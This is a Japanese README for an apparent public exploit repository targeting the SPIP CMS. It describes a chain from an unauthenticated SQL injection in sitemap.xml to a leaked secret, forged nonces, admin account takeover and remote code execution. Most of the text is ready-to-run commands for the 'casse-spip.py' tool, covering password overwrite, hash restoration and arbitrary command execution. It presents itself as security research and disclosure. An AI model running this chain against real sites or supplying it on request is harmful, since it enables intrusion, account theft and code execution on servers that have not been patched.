ambionics/spip-exploitsSPIPのCVE 2026-72708/72709/72710に対するPythonエクスプロイトチェーン。認証不要のSQLインジェクションをアカウント乗っ取りおよびリモートコード実行へと連鎖させる。
Franck Chevalier (Wayko) によって発見された CVE-2026-72708、CVE-2026-72709、CVE-2026-72710 のエクスプロイト
完全な技術的詳細については、Lexfoのブログの全文記事をお読みください。
このリポジトリは、研究および防御的セキュリティの目的でのみ提供されています。 著者は、この情報の悪用に対して一切の責任を負いません。
エントリーポイントは、公開されている sitemap.xml ページにおけるSQLインジェクションで、alea_ephemere を漏洩させます。
このシークレットがあれば、匿名アクション用の有効なnonceを偽造できます。
そこからRCEに至る2つのアクションがあります：
action=editer_auteur によるアカウント乗っ取り、その後プライベートエリアからのRCE。action=editer_objet によるマスアサインメントで、spip_jobs キューに行を書き込み、action=cron を通じて実行します。python3 -m venv .venv
.venv/bin/pip install -r requirements.txt
.venv/bin/python3 casse-spip.py --help
.venv/bin/python3 casse-spip.py -t http://127.0.0.1:8000
.venv/bin/python3 casse-spip.py -t http://127.0.0.1:8000 --ato -i 1 -p "Casse-Spip!2026"
上書きする前に、--ato はターゲットの login と現在の pass ハッシュを（SQLi経由で）ダンプするので、後で --restore-hash を使って元に戻すことができます：
.venv/bin/python3 casse-spip.py -t http://127.0.0.1:8000 --restore-hash '$2y$12$...' -i 1
.venv/bin/python3 casse-spip.py -t http://127.0.0.1:8000 --exploit -c "id"
ファイルは IMG/casse-spip_<token>.html に書き込まれます。